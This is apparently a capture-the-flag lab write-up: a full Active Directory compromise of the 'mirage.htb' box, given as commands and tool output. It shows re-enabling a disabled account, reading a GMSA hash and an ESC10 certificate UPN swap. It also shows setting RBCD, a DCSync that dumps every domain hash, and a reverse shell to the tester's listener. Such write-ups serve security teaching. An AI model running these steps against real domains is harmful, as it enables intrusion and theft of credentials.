SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [-] mirage.htb\javier.mmarshall:0xdf0xdf.. KDC_ERR_CLIENT_REVOKED

In BloodHound, the account shows it’s not enabled:

image-20251117190242063

It’s also in the DISABLED OU. bloodyAD can pull interesting fields for javier.mmarshall:

oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k get object javier.mmarshall | grep -a -e userAccountControl -e logonHours
logonHours: 
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

Remove UAC Flag

The first step is to remove the UAC flag:

oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k remove uac javier.mmarshall -f ACCOUNTDISABLE
[+] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshall's userAccountControl

The object looks better:

oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k get object javier.mmarshall | grep -a -e userAccountControl -e logonHours
logonHours: 
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

Unfortunately, it still shows KDC_ERR_CLIENT_REVOKED:

oxdf@hacky$ netexec smb DC01.mirage.htb -u javier.mmarshall -p 0xdf0xdf.. -k 
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [-] mirage.htb\javier.mmarshall:0xdf0xdf.. KDC_ERR_CLIENT_REVOKED

Add LogonHours w/ BloodyAD

The UAC is set with the ACCOUNTDISABLE flag, and the logonHours are empty. If I look at the same fields for nathan.aadam there’s something there:

oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k get object nathan.aadam | grep -a -e userAccountControl -e logonHours
logonHours: ////////////////////////////
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

That’s actually 21 bytes of all 0xff base64-encoded:

oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k get object nathan.aadam --attr logonHours | grep logon | cut -d' ' -f2 | base64 -d | xxd
00000000: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000010: ffff ffff ff                             .....

This PR on BloodyAD (inspired by this box) shows an update to allow for setting values b64-encoded like:

oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k set object javier.mmarshall logonHours -v '////////////////////////////' --b64
[!] Attribute encoding not supported for logonHours with bytes attribute type, using raw mode
[+] javier.mmarshall's logonHours has been updated
oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k get object nathan.aadam --attr logonHours

distinguishedName: CN=nathan.aadam,OU=Users,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb
logonHours: ////////////////////////////

Now auth works:

oxdf@hacky$ netexec smb DC01.mirage.htb -u javier.mmarshall -p 0xdf0xdf.. -k 
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [+] mirage.htb\javier.mmarshall:0xdf0xdf.. 

Add LogonHours w/ PowerShell

I can also set the logonHours from PowerShell on the host. I’ll get a shell as mark.bbond:

evil-winrm-py PS C:\programdata> .\RunasCs mark.bbond 1day@atime powershell -r 10.10.14.2:443
[*] Warning: The logon for user 'mark.bbond' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-221a4f1$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 896 created in background.

At nc:

oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.78 63630
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32>

For any user I have creds for, I can fetch their logonHours:

evil-winrm-py PS C:\programdata> Get-ADUser -Identity nathan.aadam -Properties LogonHours

DistinguishedName : CN=nathan.aadam,OU=Users,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb
Enabled           : True
GivenName         : nathan.aadam
LogonHours        : {255, 255, 255, 255...}
Name              : nathan.aadam
ObjectClass       : user
ObjectGUID        : 718eba44-fda2-453b-8e55-ff0bdb0874ee
SamAccountName    : nathan.aadam
SID               : S-1-5-21-2127163471-3824721834-2568365109-1110
Surname           : 
UserPrincipalName : nathan.aadam@mirage.htb
evil-winrm-py PS C:\programdata> (Get-ADUser -Identity nathan.aadam -Properties LogonHours).LogonHours
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255

It’s a series of 255s, just like I saw base64-encoded above.

There is a cron running every few minutes disabling the javier.mmarshall account and removing the logonHours. After the cron resets the logonHours, I’ll set them here (copying mark’s value):

PS C:\Windows\system32> $pass = ConvertTo-SecureString '1day@atime' -AsPlainText -Force                     
PS C:\Windows\system32> $cred = New-Object System.Management.Automation.PSCredential('mirage\mark.bbond', $pass)
PS C:\Windows\system32> $loh = (Get-ADUser -Identity mark.bbond -Credential $cred -Properties LogonHours).LogonHours
PS C:\Windows\system32> Set-ADUser -Identity javier.mmarshall -Credential $cred -Replace @{LogonHours = $loh}

Now they are set:

PS C:\Windows\system32> Get-ADUser -Identity javier.mmarshall -Credential $cred -Properties LogonHours
DistinguishedName : CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
Enabled           : False
GivenName         : javier.mmarshall
LogonHours        : {255, 255, 255, 255...}
Name              : javier.mmarshall
ObjectClass       : user
ObjectGUID        : c52e731b-30c1-439c-a6b9-0c2f804e5f08
SamAccountName    : javier.mmarshall
SID               : S-1-5-21-2127163471-3824721834-2568365109-1108
Surname           : 
UserPrincipalName : javier.mmarshall@mirage.htb

And I can log in.

Auth as Mirage-Service$

Enumeration

javier.mmarshall has ReadGMSAPassword on the Mirage-Service$ account:

image-20251117205037315

Recover Password Hash

I’ll use netexec to read all the GMSA passwords that javier.mmarshall can read:

oxdf@hacky$ netexec ldap DC01.mirage.htb -u javier.mmarshall -p 0xdf0xdf.. -k --gmsa
LDAP        DC01.mirage.htb 389    DC01             [*] None (name:DC01) (domain:mirage.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        DC01.mirage.htb 389    DC01             [+] mirage.htb\javier.mmarshall:0xdf0xdf.. 
LDAP        DC01.mirage.htb 389    DC01             [*] Getting GMSA Passwords
LDAP        DC01.mirage.htb 389    DC01             Account: Mirage-Service$      NTLM: 738eeff47da231dec805583638b8a91f     PrincipalsAllowedToReadPassword: javier.mmarshall

The hash works:

oxdf@hacky$ netexec smb DC01.mirage.htb -u Mirage-Service$ -H 738eeff47da231dec805583638b8a91f -k
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [+] mirage.htb\Mirage-Service$:738eeff47da231dec805583638b8a91f

Shell as Administrator

Enumeration

Writable Permissions

This next step is very tricky to find. BloodHound data does not show any outbound control (regardless of Python, RustHound, or SharpHound collector) for Mirage-Service$.

Another more detailed check is to run get writable in bloodyAD to check for any other permissions misconfigurations. To use bloodyAD over Kerberos with a hash, I’ll get a TGT:

oxdf@hacky$ getTGT.py -hashes :738eeff47da231dec805583638b8a91f 'mirage.htb/Mirage-Service$' -no-pass
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in Mirage-Service$.ccache

Now use that to query:

oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache bloodyAD -d mirage.htb --host DC01.mirage.htb -k get writable

distinguishedName: CN=TPM Devices,DC=mirage,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
permission: WRITE

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
permission: WRITE

distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
permission: WRITE

Mirage-Service$ can write the distinguishedName of itself, a group, and mark.bbond. That last one is interesting. Why would this account have that write access over a user? I’ll look at more detail with --detail:

oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache bloodyAD -d mirage.htb --host DC01.mirage.htb -k get writable --detail

distinguishedName: CN=TPM Devices,DC=mirage,DC=htb
msTPM-InformationObject: CREATE_CHILD

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
manager: WRITE
mail: WRITE
msDS-HABSeniorityIndex: WRITE
msDS-PhoneticDisplayName: WRITE
msDS-PhoneticCompanyName: WRITE
msDS-PhoneticDepartment: WRITE
msDS-PhoneticLastName: WRITE
msDS-PhoneticFirstName: WRITE
msDS-SourceObjectDN: WRITE
msDS-AllowedToDelegateTo: WRITE
altSecurityIdentities: WRITE
servicePrincipalName: WRITE
userPrincipalName: WRITE
legacyExchangeDN: WRITE
otherMailbox: WRITE
showInAddressBook: WRITE
systemFlags: WRITE
division: WRITE
objectGUID: WRITE
name: WRITE
displayNamePrintable: WRITE
proxyAddresses: WRITE
company: WRITE
department: WRITE
co: WRITE
dn: WRITE
initials: WRITE
givenName: WRITE
description: WRITE
title: WRITE
ou: WRITE
o: WRITE
sn: WRITE
objectCategory: WRITE
cn: WRITE
objectClass: WRITE

distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msDS-HostServiceAccount: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE

This account has a lot of write permissions over itself (which is typical), but also over mark.bbond. I’ll note that Mirage-Service$ can write mark.bbond’s UPN.

ADCS

The BloodHound data has already shown that ADCS is in use here. certipy will show the certificate authority, but no vulnerable templates:

oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache certipy find -vulnerable -target DC01.mirage.htb -k -dc-ip 10.10.11.78 -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'mirage-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'mirage-DC01-CA'
[*] Checking web enrollment for CA 'mirage-DC01-CA' @ 'dc01.mirage.htb'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : mirage-DC01-CA
    DNS Name                            : dc01.mirage.htb
    Certificate Subject                 : CN=mirage-DC01-CA, DC=mirage, DC=htb
    Certificate Serial Number           : 1512EEC0308E13A146A0B5AD6AA741C9
    Certificate Validity Start          : 2025-07-04 19:58:25+00:00
    Certificate Validity End            : 2125-07-04 20:08:25+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : MIRAGE.HTB\Administrators
      Access Rights
        ManageCa                        : MIRAGE.HTB\Administrators
                                          MIRAGE.HTB\Domain Admins
                                          MIRAGE.HTB\Enterprise Admins
        ManageCertificates              : MIRAGE.HTB\Administrators
                                          MIRAGE.HTB\Domain Admins
                                          MIRAGE.HTB\Enterprise Admins
        Enroll                          : MIRAGE.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates

I will need a certificate that mark.bbond can enroll in:

image-20251118061753005

User seems as good as any.

ESC10

ESC10, or Weak Certificate Mapping for Schannel Authentication, involves having an account with control over a victim account’s UPN and if the machine is configured to allow UPN mapping. It allows for changing the UPN on the victim’s account to match a target account, requesting a certificate, and then changing the UPN back on the victim. The resulting certificate will authenticate as the target account.

This vulnerability is a tricky one to find because according to the Certipy wiki:

Certipy does not directly detect ESC10 by querying the Schannel CertificateMappingMethods registry key on Domain Controllers or other target servers, as this typically requires privileged access (like local administrator rights) to those servers’ registries.

Identification of a potentially vulnerable server (like a DC for LDAPS) relies on:

  • Manual or Scripted Registry Checks: Administrators or auditors need to check the value of HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\CertificateMappingMethods on each relevant server (especially DCs). If the DWORD value of this key includes the bit flag 0x4 (e.g., values like 0x4, 0xC, 0x1C, 0x1F all include UPN mapping), the server is potentially vulnerable to this specific ESC10 exploitation if other prerequisites (like an attacker controlling an enrollable account’s UPN) are met.
  • Inferring Risk: In environments with a history of using diverse or legacy certificate authentication methods, or where compatibility with older systems is a high priority, there’s a higher chance that less secure mapping methods like UPN mapping for Schannel might be enabled.

While Certipy’s find command doesn’t check this registry key, it can identify certificate templates suitable for client authentication that low-privileged users can enroll in. Such templates could become a component of an ESC10 attack if the Schannel misconfiguration exists on the target servers.

So Certipy won’t find it, but I can check this registry key:

evil-winrm-py PS C:\Users\nathan.aadam\Documents> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHAN
NEL

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
    EventLogging    REG_DWORD    0x1
    CertificateMappingMethods    REG_DWORD    0x4

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\CipherSuites
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols

CertificateMappingMethods is set to 0x4, which means UPN mapping is enabled!

ESC10

Get LDAP Shell

To perform this attack, I’ll follow the steps on the Certipy Wiki. First I’ll get mark.bbond’s UPN so I can restore it after:

oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache certipy account -user mark.bbond read -target DC01.mirage.htb -k -dc-ip 10.10.11.78
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'mark.bbond':
    cn                                  : mark.bbond
    distinguishedName                   : CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
    name                                : mark.bbond
    objectSid                           : S-1-5-21-2127163471-3824721834-2568365109-1109
    sAMAccountName                      : mark.bbond
    userPrincipalName                   : mark.bbond@mirage.htb
    userAccountControl                  : 66048
    whenCreated                         : 2025-05-02T08:36:23+00:00
    whenChanged                         : 2025-11-17T01:48:41+00:00

It’s what looks like their email address. I’ll update this to be the machine account UPN for the DC:

oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache certipy account -user mark.bbond update -upn 'DC01$@mirage.htb' -target DC01.mirage.htb -k -dc-ip 10.10.11.78
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Updating user 'mark.bbond':
    userPrincipalName                   : DC01$@mirage.htb
[*] Successfully updated 'mark.bbond'

I’m using the DC machine account because I can’t use the administrator account, as it is protected against this attack.

Now I request a certificate as this user:

oxdf@hacky$ certipy req -k -dc-ip 10.10.11.78 -target DC01.mirage.htb -ca mirage-DC01-CA -template User -u mark.bbond@mirage.htb -p '1day@atime'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[!] KRB5CCNAME environment variable not set
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 10
[*] Successfully requested certificate
[*] Got certificate with UPN 'DC01$@mirage.htb'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'

If I try to authenticate with this certificate right now, it will auth as mark.bbond, because the UPN on the certificate matches that account’s UPN. So I’ll set it back:

oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache certipy account -user mark.bbond update -upn 'mark.bbond@mirage.htb' -target DC01.mirage.htb -k -dc-ip 10.10.11.78
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Updating user 'mark.bbond':
    userPrincipalName                   : mark.bbond@mirage.htb
[*] Successfully updated 'mark.bbond'

I could set it to literally anything, as long as it’s not DC01$@mirage.htb. Now I can get an LDAP shell using this certificate:

oxdf@hacky$ certipy auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'DC01$@mirage.htb'
[*]     Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.10.11.78:636'
[*] Authenticated to '10.10.11.78' as: 'u:MIRAGE\\DC01$'
Type help for list of commands

# 

The UPN maps over to MIRAGE\DC01$, providing LDAP access as the machine account.

RBCD / DCSync

The wiki instructions stop here, saying that this LDAP shell:

can be leveraged for further attacks like Resource-Based Constrained Delegation (RBCD) or reading sensitive LDAP data.

There’s a set_rbcd command in LDAP shell:

# help
...[snip]...
 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
...[snip]...

I’ll use that to give the Mirage-Service$ account the ability to perform RBCD to DC01, and since I’ve already got full control over Mirage-Service$, I’ll get full control over DC01$:

# set_rbcd DC01$ Mirage-Service$
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000

Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on DC01$ via S4U2Proxy

I’ll need to get a new ticket as Mirage-Service$ (the one I got earlier won’t reflect this RBCD permission):

oxdf@hacky$ getTGT.py -hashes :738eeff47da231dec805583638b8a91f 'mirage.htb/Mirage-Service$' -no-pass
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in Mirage-Service$.ccache

I’ll get a service ticket as DC01$:

oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache getST.py -spn 'http/DC01.mirage.htb' -impersonate DC01$ -no-pass 'mirage.htb/Mirage-Service$'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating DC01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC01$@http_DC01.mirage.htb@MIRAGE.HTB.ccache

That ticket will allow dumping hashes with a DCSync / secretsdump:

oxdf@hacky$ KRB5CCNAME=DC01\$@http_DC01.mirage.htb@MIRAGE.HTB.ccache secretsdump.py -no-pass -k DC01.mirage.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1adcc3d4a7f007ca8ab8a3a671a66127:::
mirage.htb\Dev_Account_A:1104:aad3b435b51404eeaad3b435b51404ee:3db621dd880ebe4d22351480176dba13:::
mirage.htb\Dev_Account_B:1105:aad3b435b51404eeaad3b435b51404ee:fd1a971892bfd046fc5dd9fb8a5db0b3:::
mirage.htb\david.jjackson:1107:aad3b435b51404eeaad3b435b51404ee:ce781520ff23cdfe2a6f7d274c6447f8:::
mirage.htb\javier.mmarshall:1108:aad3b435b51404eeaad3b435b51404ee:694fba7016ea1abd4f36d188b3983d84:::
mirage.htb\mark.bbond:1109:aad3b435b51404eeaad3b435b51404ee:8fe1f7f9e9148b3bdeb368f9ff7645eb:::
mirage.htb\nathan.aadam:1110:aad3b435b51404eeaad3b435b51404ee:1cdd3c6d19586fd3a8120b89571a04eb:::
mirage.htb\svc_mirage:2604:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:b5b26ce83b5ad77439042fbf9246c86c:::
Mirage-Service$:1112:aad3b435b51404eeaad3b435b51404ee:738eeff47da231dec805583638b8a91f:::
[*] Kerberos keys grabbed
mirage.htb\Administrator:aes256-cts-hmac-sha1-96:09454bbc6da252ac958d0eaa211293070bce0a567c0e08da5406ad0bce4bdca7
mirage.htb\Administrator:aes128-cts-hmac-sha1-96:47aa953930634377bad3a00da2e36c07
mirage.htb\Administrator:des-cbc-md5:e02a73baa10b8619
krbtgt:aes256-cts-hmac-sha1-96:95f7af8ea1bae174de9666c99a9b9edeac0ca15e70c7246cab3f83047c059603
krbtgt:aes128-cts-hmac-sha1-96:6f790222a7ee5ba9d2776f6ee71d1bfb
krbtgt:des-cbc-md5:8cd65e54d343ba25
mirage.htb\Dev_Account_A:aes256-cts-hmac-sha1-96:e4a6658ff9ee0d2a097864d6e89218287691bf905680e0078a8e41498f33fd9a
mirage.htb\Dev_Account_A:aes128-cts-hmac-sha1-96:ceee67c4feca95b946e78d89cb8b4c15
mirage.htb\Dev_Account_A:des-cbc-md5:26dce5389b921a52
mirage.htb\Dev_Account_B:aes256-cts-hmac-sha1-96:5c320d4bef414f6a202523adfe2ef75526ff4fc6f943aaa0833a50d102f7a95d
mirage.htb\Dev_Account_B:aes128-cts-hmac-sha1-96:e05bdceb6b470755cd01fab2f526b6c0
mirage.htb\Dev_Account_B:des-cbc-md5:e5d07f57e926ecda
mirage.htb\david.jjackson:aes256-cts-hmac-sha1-96:3480514043b05841ecf08dfbf33d81d361e51a6d03ff0c3f6d51bfec7f09dbdb
mirage.htb\david.jjackson:aes128-cts-hmac-sha1-96:bd841caf9cd85366d254cd855e61cd5e
mirage.htb\david.jjackson:des-cbc-md5:76ef68d529459bbc
mirage.htb\javier.mmarshall:aes256-cts-hmac-sha1-96:20acfd56be43c1123b3428afa66bb504a9b32d87c3269277e6c917bf0e425502
mirage.htb\javier.mmarshall:aes128-cts-hmac-sha1-96:9d2fc7611e15be6fe16538ebb3b2ad6a
mirage.htb\javier.mmarshall:des-cbc-md5:6b3d51897fdc3237
mirage.htb\mark.bbond:aes256-cts-hmac-sha1-96:dc423caaf884bb869368859c59779a757ff38a88bdf4197a4a284b599531cd27
mirage.htb\mark.bbond:aes128-cts-hmac-sha1-96:78fcb9736fbafe245c7b52e72339165d
mirage.htb\mark.bbond:des-cbc-md5:d929fb462ae361a7
mirage.htb\nathan.aadam:aes256-cts-hmac-sha1-96:b536033ac796c7047bcfd47c94e315aea1576a97ff371e2be2e0250cce64375b
mirage.htb\nathan.aadam:aes128-cts-hmac-sha1-96:b1097eb42fd74827c6d8102a657e28ff
mirage.htb\nathan.aadam:des-cbc-md5:5137a74f40f483c7
mirage.htb\svc_mirage:aes256-cts-hmac-sha1-96:937efa5352253096b3b2e1d31a9f378f422d9e357a5d4b3af0d260ba1320ba5e
mirage.htb\svc_mirage:aes128-cts-hmac-sha1-96:8d382d597b707379a254c60b85574ab1
mirage.htb\svc_mirage:des-cbc-md5:2f13c12f9d5d6708
DC01$:aes256-cts-hmac-sha1-96:4a85665cd877c7b5179c508e5bc4bad63eafe514f7cedb0543930431ef1e422b
DC01$:aes128-cts-hmac-sha1-96:94aa2a6d9e156b7e8c03a9aad4af2cc1
DC01$:des-cbc-md5:cb19ce2c733b3ba8
Mirage-Service$:aes256-cts-hmac-sha1-96:7c7cf51a944c05f934f055683959f1aa12230cbc42072cff8def34442c0fad8b
Mirage-Service$:aes128-cts-hmac-sha1-96:a21199c62fd336f19f6fbf167ae3fced
Mirage-Service$:des-cbc-md5:c7bab0613bea374a
[*] Cleaning up... 

Shell

The Administrator password hash works:

oxdf@hacky$ netexec smb DC01.mirage.htb -u administrator -H 7be6d4f3c2b9c0e3560f5a29eeb1afb3 -k
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [+] mirage.htb\administrator:7be6d4f3c2b9c0e3560f5a29eeb1afb3 (Pwn3d!)

I’ll use it to get a TGT:

oxdf@hacky$ getTGT.py -hashes :7be6d4f3c2b9c0e3560f5a29eeb1afb3 'mirage.htb/Administrator' -no-pass
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in Administrator.ccache 

And use that to get a shell:

oxdf@hacky$ KRB5CCNAME=Administrator.ccache evil-winrm-py -i DC01.mirage.htb -k
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'DC01.mirage.htb:5985' as 'Administrator@MIRAGE.HTB'
evil-winrm-py PS C:\Users\Administrator\Documents>

And the flag:

evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
146cfe79************************